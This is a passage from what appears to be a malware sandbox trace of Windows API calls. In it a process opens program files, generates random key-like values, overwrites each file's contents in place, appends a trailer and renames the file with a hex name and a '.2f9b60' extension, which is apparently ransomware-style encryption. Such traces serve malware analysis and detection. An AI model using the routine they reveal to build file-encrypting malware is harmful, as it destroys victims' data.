10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9.2f9b60" [0236.241] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9.2f9b60", NtPathName=0x3d0cfaf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\c73c39d9ed471ba4d9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.241] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xc2) returned 0x43100600 Thread: id = 3917 os_tid = 0xe84 [0230.009] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif")) returned 0x20 [0230.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif", dwFileAttributes=0x20) returned 1 [0231.031] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\review_email.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\review_email.gif"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x14c8 [0231.287] GetFileSizeEx (in: hFile=0x14c8, lpFileSize=0x3d85f840 | out: lpFileSize=0x3d85f840*=1405) returned 1 [0231.287] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x579, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.287] ReadFile (in: hFile=0x14c8, lpBuffer=0x3d85f7c0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3d85f808, lpOverlapped=0x0 | out: lpBuffer=0x3d85f7c0*, lpNumberOfBytesRead=0x3d85f808*=0x4, lpOverlapped=0x0) returned 1 [0231.290] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.290] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f9a0 [0231.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8608d0 [0231.291] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ffd0 [0231.291] NtQuerySystemTime (in: CurrentTime=0x3d85f700 | out: CurrentTime=0x3d85f700*=132462178352866000) returned 0x0 [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x48f123c9 [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x281b8e99 [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x7db49136 [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x14ed795c [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x2671dcdf [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x15b8a7f1 [0231.291] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x5c30c2ac [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x790430ce [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x259fd373 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x60948e78 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x10b8135f [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x2359afc2 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x74a3405e [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x7c097a90 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x15b8a7f1 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x4451fb08 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x26df0043 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x43ab5e36 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x78de0fff [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x4a98867b [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x4de6e1ef [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x47b2091b [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x1ac2e5fb [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x70ef6395 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x2f9e4715 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x3df35fee [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x4c372360 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x7983e65b [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x72a055a5 [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x1830948f [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x1e4bd41a [0231.292] RtlRandomEx (in: Seed=0x3d85f6f0 | out: Seed=0x3d85f6f0) returned 0x77c1bac8 [0231.300] ReadFile (in: hFile=0x14c8, lpBuffer=0x41b6e130, nNumberOfBytesToRead=0x57d, lpNumberOfBytesRead=0x3d85f6f0, lpOverlapped=0x0 | out: lpBuffer=0x41b6e130*, lpNumberOfBytesRead=0x3d85f6f0*=0x57d, lpOverlapped=0x0) returned 1 [0231.300] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0231.300] WriteFile (in: hFile=0x14c8, lpBuffer=0x41b5f0f0*, nNumberOfBytesToWrite=0x57d, lpNumberOfBytesWritten=0x3d85f6f4, lpOverlapped=0x0 | out: lpBuffer=0x41b5f0f0*, lpNumberOfBytesWritten=0x3d85f6f4*=0x57d, lpOverlapped=0x0) returned 1 [0234.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab850 [0234.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202ab700 [0234.138] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ab700) returned 1 [0234.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b5f0f0) returned 1 [0234.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41b6e130) returned 1 [0234.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba5e0) returned 1 [0234.139] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058fb0) returned 1 [0234.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2e) returned 0x431acca0 [0234.140] SetFilePointerEx (in: hFile=0x14c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0234.140] WriteFile (in: hFile=0x14c8, lpBuffer=0x431f1800*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x3d85f810, lpOverlapped=0x0 | out: lpBuffer=0x431f1800*, lpNumberOfBytesWritten=0x3d85f810*=0x112, lpOverlapped=0x0) returned 1 [0236.227] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058bf0 [0236.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0236.228] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605a0 [0236.229] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8605a0) returned 1 [0236.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b8605a0 [0236.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f850 [0236.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0236.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0236.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0236.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058bf0) returned 1 [0236.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x41) returned 0x42058bf0 [0236.232] sprintf (in: _Dest=0x42058bf0, _Format="%c%c" | out: _Dest="4c") returned 2 [0236.232] sprintf (in: _Dest=0x42058bf2, _Format="%c%c" | out: _Dest="64") returned 2 [0236.232] sprintf (in: _Dest=0x42058bf4, _Format="%c%c" | out: _Dest="3b") returned 2 [0236.232] sprintf (in: _Dest=0x42058bf6, _Format="%c%c" | out: _Dest="db") returned 2 [0236.232] sprintf (in: _Dest=0x42058bf8, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.232] sprintf (in: _Dest=0x42058bfa, _Format="%c%c" | out: _Dest="b7") returned 2 [0236.232] sprintf (in: _Dest=0x42058bfc, _Format="%c%c" | out: _Dest="c7") returned 2 [0236.232] sprintf (in: _Dest=0x42058bfe, _Format="%c%c" | out: _Dest="a6") returned 2 [0236.232] sprintf (in: _Dest=0x42058c00, _Format="%c%c" | out: _Dest="90") returned 2 [0236.232] sprintf (in: _Dest=0x42058c02, _Format="%c%c" | out: _Dest="42") returned 2 [0236.232] sprintf (in: _Dest=0x42058c04, _Format="%c%c" | out: _Dest="0a") returned 2 [0236.232] sprintf (in: _Dest=0x42058c06, _Format="%c%c" | out: _Dest="8d") returned 2 [0236.232] sprintf (in: _Dest=0x42058c08, _Format="%c%c" | out: _Dest="de") returned 2 [0236.232] sprintf (in: _Dest=0x42058c0a, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.233] sprintf (in: _Dest=0x42058c0c, _Format="%c%c" | out: _Dest="83") returned 2 [0236.233] sprintf (in: _Dest=0x42058c0e, _Format="%c%c" | out: _Dest="2c") returned 2 [0236.233] sprintf (in: _Dest=0x42058c10, _Format="%c%c" | out: _Dest="30") returned 2 [0236.233] sprintf (in: _Dest=0x42058c12, _Format="%c%c" | out: _Dest="d0") returned 2 [0236.233] sprintf (in: _Dest=0x42058c14, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.233] sprintf (in: _Dest=0x42058c16, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.233] sprintf (in: _Dest=0x42058c18, _Format="%c%c" | out: _Dest="d1") returned 2 [0236.233] sprintf (in: _Dest=0x42058c1a, _Format="%c%c" | out: _Dest="6c") returned 2 [0236.233] sprintf (in: _Dest=0x42058c1c, _Format="%c%c" | out: _Dest="c0") returned 2 [0236.233] sprintf (in: _Dest=0x42058c1e, _Format="%c%c" | out: _Dest="14") returned 2 [0236.233] sprintf (in: _Dest=0x42058c20, _Format="%c%c" | out: _Dest="ef") returned 2 [0236.233] sprintf (in: _Dest=0x42058c22, _Format="%c%c" | out: _Dest="64") returned 2 [0236.233] sprintf (in: _Dest=0x42058c24, _Format="%c%c" | out: _Dest="36") returned 2 [0236.233] sprintf (in: _Dest=0x42058c26, _Format="%c%c" | out: _Dest="ed") returned 2 [0236.233] sprintf (in: _Dest=0x42058c28, _Format="%c%c" | out: _Dest="0b") returned 2 [0236.233] sprintf (in: _Dest=0x42058c2a, _Format="%c%c" | out: _Dest="47") returned 2 [0236.233] sprintf (in: _Dest=0x42058c2c, _Format="%c%c" | out: _Dest="47") returned 2 [0236.233] sprintf (in: _Dest=0x42058c2e, _Format="%c%c" | out: _Dest="a4") returned 2 [0236.233] RtlInitAnsiString (in: DestinationString=0x3d85f888, SourceString="4c643bdb6cb7c7a690420a8dde0f832c30d0f50fd16cc014ef6436ed0b4747a4" | out: DestinationString="4c643bdb6cb7c7a690420a8dde0f832c30d0f50fd16cc014ef6436ed0b4747a4") [0236.233] RtlAnsiStringToUnicodeString (in: DestinationString=0x3d85f858, SourceString="4c643bdb6cb7c7a690420a8dde0f832c30d0f50fd16cc014ef6436ed0b4747a4", AllocateDestinationString=1 | out: DestinationString="4c643bdb6cb7c7a690420a8dde0f832c30d0f50fd16cc014ef6436ed0b4747a4") returned 0x0 [0236.233] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x82) returned 0x1cf4e460 [0236.234] wcscat (in: _Dest=0x431f6560, _Source="4c643bdb6cb7c7a6" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6" [0236.234] wcscat (in: _Dest=0x431f6560, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6.2f9b60" [0236.234] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6.2f9b60", NtPathName=0x3d85f830, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\4c643bdb6cb7c7a6.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0236.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbe) returned 0x430fe990 Thread: id = 3958 os_tid = 0xc28 [0232.392] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip")) returned 0x20 [0232.393] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip", dwFileAttributes=0x20) returned 1 [0232.394] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AppConfigurationInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\appconfigurationinternal.zip"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x29b8 [0232.395] GetFileSizeEx (in: hFile=0x29b8, lpFileSize=0x1eaaf820 | out: lpFileSize=0x1eaaf820*=1117) returned 1 [0232.395] SetFilePointerEx (in: hFile=0x29b8, liDistanceToMove=0x459, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.395] ReadFile (in: hFile=0x29b8, lpBuffer=0x1eaaf7a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1eaaf7e8, lpOverlapped=0x0 | out: lpBuffer=0x1eaaf7a0*, lpNumberOfBytesRead=0x1eaaf7e8*=0x4, lpOverlapped=0x0) returned 1 [0232.652] SetFilePointerEx (in: hFile=0x29b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.652] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6aa0 [0232.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a6bf0 [0232.653] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4070 [0232.653] NtQuerySystemTime (in: CurrentTime=0x1eaaf6e0 | out: CurrentTime=0x1eaaf6e0*=132462178364566000) returned 0x0 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x22969ddd [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x5d684159 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x10bd98a8 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x323b497f [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x7c95185c [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0xab5e361 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0xc8fdc8f [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x8ceab9b [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x6925fbba [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x2d972f5c [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x69027f87 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x6e6cb0b6 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x5d0a1211 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x3c8e6fd6 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x29fcf04b [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x68102c15 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x2cb2d9a7 [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x3d510cdc [0232.653] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x24202352 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x585e07e7 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x35914b9f [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x125b7bc9 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x3e055093 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x469fd007 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x6e0b3873 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x731bea14 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x7799b49 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x6428888f [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x6428888f [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x17448c02 [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x70c301aa [0232.654] RtlRandomEx (in: Seed=0x1eaaf6d0 | out: Seed=0x1eaaf6d0) returned 0x3d84493a [0232.663] ReadFile (in: hFile=0x29b8, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x45d, lpNumberOfBytesRead=0x1eaaf6d0, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x1eaaf6d0*=0x45d, lpOverlapped=0x0) returned 1 [0232.663] SetFilePointerEx (in: hFile=0x29b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0232.663] WriteFile (in: hFile=0x29b8, lpBuffer=0x41f71d40*, nNumberOfBytesToWrite=0x45d, lpNumberOfBytesWritten=0x1eaaf6d4, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesWritten=0x1eaaf6d4*=0x45d, lpOverlapped=0x0) returned 1 [0235.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fdc90 [0235.663] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fe2f0 [0235.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fe2f0) returned 1 [0235.664] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f71d40) returned 1 [0235.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f885a0) returned 1 [0235.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.665] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62780) returned 1 [0235.665] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x46) returned 0x1ce62780 [0235.666] SetFilePointerEx (in: hFile=0x29b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0235.666] WriteFile (in: hFile=0x29b8, lpBuffer=0x188990*, nNumberOfBytesToWrite=0x12a, lpNumberOfBytesWritten=0x1eaaf7f0, lpOverlapped=0x0 | out: lpBuffer=0x188990*, lpNumberOfBytesWritten=0x1eaaf7f0*=0x12a, lpOverlapped=0x0) returned 1 [0236.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bed0 [0236.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20504f90 [0236.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267290 [0236.871] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20267290) returned 1 [0236.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x38) returned 0x1ce5d9b0 [0236.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267290 [0236.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20266d20 [0236.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20266d20) returned 1 [0236.873] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504f90) returned 1 [0236.874] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bed0) returned 1 [0236.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x71) returned 0x20504f90 [0236.874] sprintf (in: _Dest=0x20504f90, _Format="%c%c" | out: _Dest="c8") returned 2 [0236.874] sprintf (in: _Dest=0x20504f92, _Format="%c%c" | out: _Dest="26") returned 2 [0236.874] sprintf (in: _Dest=0x20504f94, _Format="%c%c" | out: _Dest="54") returned 2 [0236.874] sprintf (in: _Dest=0x20504f96, _Format="%c%c" | out: _Dest="26") returned 2 [0236.874] sprintf (in: _Dest=0x20504f98, _Format="%c%c" | out: _Dest="d4") returned 2 [0236.874] sprintf (in: _Dest=0x20504f9a, _Format="%c%c" | out: _Dest="a3") returned 2 [0236.874] sprintf (in: _Dest=0x20504f9c, _Format="%c%c" | out: _Dest="a5") returned 2 [0236.874] sprintf (in: _Dest=0x20504f9e, _Format="%c%c" | out: _Dest="22") returned 2 [0236.874] sprintf (in: _Dest=0x20504fa0, _Format="%c%c" | out: _Dest="26") returned 2 [0236.874] sprintf (in: _Dest=0x20504fa2, _Format="%c%c" | out: _Dest="28") returned 2 [0236.874] sprintf (in: _Dest=0x20504fa4, _Format="%c%c" | out: _Dest="5c") returned 2 [0236.874] sprintf (in: _Dest=0x20504fa6, _Format="%c%c" | out: _Dest="86") returned 2 [0236.874] sprintf (in: _Dest=0x20504fa8, _Format="%c%c" | out: _Dest="5d") returned 2 [0236.874] sprintf (in: _Dest=0x20504faa, _Format="%c%c" | out: _Dest="f5") returned 2 [0236.874] sprintf (in: _Dest=0x20504fac, _Format="%c%c" | out: _Dest="f3") returned 2 [0236.875] sprintf (in: _Dest=0x20504fae, _Format="%c%c" | out: _Dest="e1") returned 2 [0236.875] sprintf (in: _Dest=0x20504fb0, _Format="%c%c" | out: _Dest="0c") returned 2 [0236.875] sprintf (in: _Dest=0x20504fb2, _Format="%c%c" | out: _Dest="34") returned 2 [0236.875] sprintf (in: _Dest=0x20504fb4, _Format="%c%c" | out: _Dest="f6") returned 2 [0236.875] sprintf (in: _Dest=0x20504fb6, _Format="%c%c" | out: _Dest="ff") returned 2 [0236.875] sprintf (in: _Dest=0x20504fb8, _Format="%c%c" | out: _Dest="b0") returned 2 [0236.875] sprintf (in: _Dest=0x20504fba, _Format="%c%c" | out: _Dest="2f") returned 2 [0236.875] sprintf (in: _Dest=0x20504fbc, _Format="%c%c" | out: _Dest="c1") returned 2 [0236.875] sprintf (in: _Dest=0x20504fbe, _Format="%c%c" | out: _Dest="0f") returned 2 [0236.875] sprintf (in: _Dest=0x20504fc0, _Format="%c%c" | out: _Dest="26") returned 2 [0236.875] sprintf (in: _Dest=0x20504fc2, _Format="%c%c" | out: _Dest="4b") returned 2 [0236.875] sprintf (in: _Dest=0x20504fc4, _Format="%c%c" | out: _Dest="1d") returned 2 [0236.875] sprintf (in: _Dest=0x20504fc6, _Format="%c%c" | out: _Dest="44") returned 2 [0236.875] sprintf (in: _Dest=0x20504fc8, _Format="%c%c" | out: _Dest="ac") returned 2 [0236.875] sprintf (in: _Dest=0x20504fca, _Format="%c%c" | out: _Dest="25") returned 2 [0236.875] sprintf (in: _Dest=0x20504fcc, _Format="%c%c" | out: _Dest="aa") returned 2 [0236.875] sprintf (in: _Dest=0x20504fce, _Format="%c%c" | out: _Dest="26") returned 2 [0236.875] sprintf (in: _Dest=0x20504fd0, _Format="%c%c" | out: _Dest="f0") returned 2 [0236.875] sprintf (in: _Dest=0x20504fd2, _Format="%c%c" | out: _Dest="5a") returned 2 [0236.875] sprintf (in: _Dest=0x20504fd4, _Format="%c%c" | out: _Dest="f2") returned 2 [0236.875] sprintf (in: _Dest=0x20504fd6, _Format="%c%c" | out: _Dest="8c") returned 2 [0236.875] sprintf (in: _Dest=0x20504fd8, _Format="%c%c" | out: _Dest="91") returned 2 [0236.875] sprintf (in: _Dest=0x20504fda, _Format="%c%c" | out: _Dest="7a") returned 2 [0236.875] sprintf (in: _Dest=0x20504fdc, _Format="%c%c" | out: _Dest="35") returned 2 [0236.875] sprintf (in: _Dest=0x20504fde, _Format="%c%c" | out: _Dest="b6") returned 2 [0236.875] sprintf (in: _Dest=0x20504fe0, _Format="%c%c" | out: _Dest="c9") returned 2 [0236.875] sprintf (in: _Dest=0x20504fe2, _Format="%c%c" | out: _Dest="2b") returned 2 [0236.876] sprintf (in: _Dest=0x20504fe4, _Format="%c%c" | out: _Dest="86") returned 2 [0236.876] sprintf (in: _Dest=0x20504fe6, _Format="%c%c" | out: _Dest="fd") returned 2 [0236.876] sprintf (in: _Dest=0x20504fe8, _Format="%c%c" | out: _Dest="9b") returned 2 [0236.876] sprintf (in: _Dest=0x20504fea, _Format="%c%c" | out: _Dest="88") returned 2 [0236.876] sprintf (in: _Dest=0x20504fec, _Format="%c%c" | out: _Dest="86") returned 2 [0236.876] sprintf (in: _Dest=0x20504fee, _Format="%c%c" | out: _Dest="8a") returned 2 [0236.876] sprintf (in: 